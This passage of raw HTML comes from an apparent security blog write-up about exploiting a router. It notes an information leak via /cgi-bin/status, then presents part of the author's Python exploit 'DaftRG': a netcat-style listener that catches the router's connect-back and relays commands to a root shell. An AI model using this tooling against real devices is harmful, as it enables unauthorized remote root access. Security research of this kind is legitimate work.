https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-87-300x101.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-87-768x258.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-87.png 1102w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><br><em>Status.html<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"719\" height=\"21\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-88.png\" alt=\"\" class=\"wp-image-197\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-88.png 719w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-88-300x9.png 300w\" sizes=\"auto, (max-width: 719px) 100vw, 719px\" \/><figcaption class=\"wp-element-caption\"><em>\/cgi-bin\/status<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Is this a vulnerability, an information disclosure. Maybe yeah maybe not who knows ? But It did help a lot&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I preferred to use <strong>cgi-bin<\/strong> binary because it gives a JSON output and it was easy to parse the output using python request library.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">We have now all the elements to build our exploit. We have to go through of each step described in this above to be able to exploit the vulnerability. The exploit code will perform a series of action described in the below sequence diagram:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"880\" height=\"1024\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/Attacker-scenario-Diagramme-de-sequence-basique-880x1024.png\" alt=\"\" class=\"wp-image-195\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/Attacker-scenario-Diagramme-de-sequence-basique-880x1024.png 880w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/Attacker-scenario-Diagramme-de-sequence-basique-258x300.png 258w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/Attacker-scenario-Diagramme-de-sequence-basique-768x893.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/Attacker-scenario-Diagramme-de-sequence-basique.png 1255w\" sizes=\"auto, (max-width: 880px) 100vw, 880px\" \/><figcaption class=\"wp-element-caption\"><em>Sequence diagram<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">I think now you are ready to do some hacking stuff. Let&#8217;s go to the last chapter \ud83d\ude1b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ Time to hack:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">We are now reaching the final step of the article: The exploitation code. I built the exploit using python. I called the code <strong>DaftRG <\/strong>or <strong>StupidRG<\/strong> (Ironic name).<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>#-------------------------| Netcat |---------------------------#\n\nif sys.version_info.major == 2:                              \n  def b2s(x):\n    \"\"\"convert bytes to str\"\"\"\n    return x\n  def s2b(x):\n    \"\"\"convert str to bytes\"\"\"\n    return x\n  def binread(s, n):\n    \"\"\"read bytes from stream\"\"\"\n    return s.read(n)\n  def binwrite(s, data):\n    \"\"\"write bytes to stream\"\"\"\n    return s.write(data)\nelse:\n  def b2s(x):\n    \"\"\"convert bytes to str\"\"\"\n    if isinstance(x, str): return x\n    return x.decode(\"utf8\")\n  def s2b(x):\n    \"\"\"convert str to bytes\"\"\"\n    if isinstance(x, bytes): return x\n    return x.encode(\"utf8\")\n  def binread(s, n):\n    \"\"\"read bytes from stream\"\"\"\n    if hasattr(s, \"mode\") and \"b\" in s.mode:\n      return s.read(n)\n    elif hasattr(s, \"buffer\"):\n      return s.buffer.read(n)\n    else:\n      return s2b(s.read(n))                                   \n  def binwrite(s, data):\n    \"\"\"write bytes to stream\"\"\"\n    if hasattr(s, \"mode\") and \"b\" in s.mode:\n      return s.write(data)\n    elif hasattr(s, \"buffer\"):\n      return s.buffer.write(data)\n    else:\n      return s.write(b2s(data))                              \n  xrange = range\n\ndef server(port, udp = False, term = None, io = None):         \n\tset_nonblocking(get_io(io)&#91;0&#93;.fileno())\n\tsock = create_socket(udp)\n\tsock.setsockopt(S.SOL_SOCKET, S.SO_REUSEADDR, 1)\n\tsock.bind(('', int(port)))\n\n\tif not udp:\n\t\tsock.listen(1); clientsock, addr = sock.accept()\n\t\tprint(\"&#91;*&#93; Success ! Try your first command !\")\n\t\tprint(\"---------------------------------\\n\")\n\t\thandle_io(clientsock, term = term, io = io)\n\ndef create_socket(udp = False):\n  return S.socket(S.AF_INET, S.SOCK_DGRAM if udp else S.SOCK_STREAM)\n\ndef handle_io(sock, udp = False, addr = None, term = None, io = None):\n  i, o = get_io(io)\n  try:\n    while term is None or not term.is_set():\n      sin = &#91;sock,i&#93; if (not udp or addr) and not i.closed else &#91;sock&#93;\n      rs, _, _ = select.select(sin, [], [])\n      \n      if sock in rs:\n        data, clientaddr = sock.recvfrom(4096)\n        \n        if not data: \n          return CLOSED_SOCK\n        \n        binwrite(o, data); o.flush()\n      \n      if i in rs:\n        data = binread(i, 4096)\n        if udp: sock.sendto(data, addr)\n        else:   sock.sendall(data)\n        print(\"=>(root)# \", end='')\n\n  except ConnectionResetError:\n    sys.exit()\n  finally:\n    sock.close()\n\nCLOSED_SOCK = \"__CLOSED_SOCK__\"\n\ndef get_io(io):\n  return (sys.stdin, sys.stdout) if io is None else io\n\ndef set_nonblocking(fd):\n  flags = fcntl.fcntl(fd, fcntl.F_GETFL)\n  flags = flags | os.O_NONBLOCK\n  fcntl.fcntl(fd, fcntl.F_SETFL, flags)\n\ndef listen(port):                                         \n\ttry:\n\t\tio  = None\n\t\tprint(\"&#91;*&#93; Waiting for the router...\")\n\t\tserver(port, False, io = io)\n\texcept KeyboardInterrupt:\n\t\treturn 1\n\treturn 0<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #88846F\">#-------------------------| Netcat |---------------------------#<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> sys.version_info.major <\/span><span style=\"color: #F92672\">==<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">2<\/span><span style=\"color: #F8F8F2\">:                              <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">b2s<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">x<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;convert bytes to str&quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> x<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">s2b<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">x<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;convert str to bytes&quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> x<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">binread<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">s<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">n<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;read bytes from stream&quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> s.read(n)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">binwrite<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">s<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">data<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;write bytes to stream&quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> s.write(data)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">b2s<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">x<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;convert bytes to str&quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">isinstance<\/span><span style=\"color: #F8F8F2\">(x, <\/span><span style=\"color: #66D9EF; font-style: italic\">str<\/span><span style=\"color: #F8F8F2\">): <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> x<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> x.decode(<\/span><span style=\"color: #E6DB74\">&quot;utf8&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">s2b<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">x<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;convert str to bytes&quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">isinstance<\/span><span style=\"color: #F8F8F2\">(x, <\/span><span style=\"color: #66D9EF; font-style: italic\">bytes<\/span><span style=\"color: #F8F8F2\">): <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> x<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> x.encode(<\/span><span style=\"color: #E6DB74\">&quot;utf8&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">binread<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">s<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">n<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;read bytes from stream&quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">hasattr<\/span><span style=\"color: #F8F8F2\">(s, <\/span><span style=\"color: #E6DB74\">&quot;mode&quot;<\/span><span style=\"color: #F8F8F2\">) <\/span><span style=\"color: #F92672\">and<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;b&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> s.mode:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> s.read(n)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">elif<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">hasattr<\/span><span style=\"color: #F8F8F2\">(s, <\/span><span style=\"color: #E6DB74\">&quot;buffer&quot;<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> s.buffer.read(n)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> s2b(s.read(n))                                   <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">binwrite<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">s<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">data<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;write bytes to stream&quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">hasattr<\/span><span style=\"color: #F8F8F2\">(s, <\/span><span style=\"color: #E6DB74\">&quot;mode&quot;<\/span><span style=\"color: #F8F8F2\">) <\/span><span style=\"color: #F92672\">and<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;b&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> s.mode:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> s.write(data)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">elif<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">hasattr<\/span><span style=\"color: #F8F8F2\">(s, <\/span><span style=\"color: #E6DB74\">&quot;buffer&quot;<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> s.buffer.write(data)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> s.write(b2s(data))                              <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  xrange <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">range<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">server<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">port<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">udp<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">False<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">term<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">None<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">io<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">None<\/span><span style=\"color: #F8F8F2\">):         <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tset_nonblocking(get_io(io)&#91;<\/span><span style=\"color: #AE81FF\">0<\/span><span style=\"color: #F8F8F2\">&#93;.fileno())<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tsock <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> create_socket(udp)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tsock.setsockopt(S.<\/span><span style=\"color: #AE81FF\">SOL_SOCKET<\/span><span style=\"color: #F8F8F2\">, S.<\/span><span style=\"color: #AE81FF\">SO_REUSEADDR<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #AE81FF\">1<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tsock.bind((<\/span><span style=\"color: #E6DB74\">&#39;&#39;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #66D9EF; font-style: italic\">int<\/span><span style=\"color: #F8F8F2\">(port)))<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> udp:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\tsock.listen(<\/span><span style=\"color: #AE81FF\">1<\/span><span style=\"color: #F8F8F2\">); clientsock, addr <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> sock.accept()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #66D9EF\">print<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;&#91;*&#93; Success ! Try your first command !&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #66D9EF\">print<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;---------------------------------<\/span><span style=\"color: #AE81FF\">\\n<\/span><span style=\"color: #E6DB74\">&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\thandle_io(clientsock, <\/span><span style=\"color: #FD971F; font-style: italic\">term<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> term, <\/span><span style=\"color: #FD971F; font-style: italic\">io<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> io)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">create_socket<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">udp<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">False<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> S.socket(S.<\/span><span style=\"color: #AE81FF\">AF_INET<\/span><span style=\"color: #F8F8F2\">, S.<\/span><span style=\"color: #AE81FF\">SOCK_DGRAM<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> udp <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\"> S.<\/span><span style=\"color: #AE81FF\">SOCK_STREAM<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">handle_io<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">sock<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">udp<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">False<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">addr<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">None<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">term<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">None<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">io<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">None<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  i, o <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> get_io(io)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #F92672\">try<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">while<\/span><span style=\"color: #F8F8F2\"> term <\/span><span style=\"color: #F92672\">is<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">None<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">or<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> term.is_set():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      sin <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> &#91;sock,i&#93; <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> (<\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> udp <\/span><span style=\"color: #F92672\">or<\/span><span style=\"color: #F8F8F2\"> addr) <\/span><span style=\"color: #F92672\">and<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> i.closed <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\"> &#91;sock&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      rs, _, _ <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> select.select(sin, [], [])<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> sock <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> rs:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        data, clientaddr <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> sock.recvfrom(<\/span><span style=\"color: #AE81FF\">4096<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> data: <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">          <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">CLOSED_SOCK<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        binwrite(o, data); o.flush()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">      <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> i <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> rs:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        data <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> binread(i, <\/span><span style=\"color: #AE81FF\">4096<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> udp: 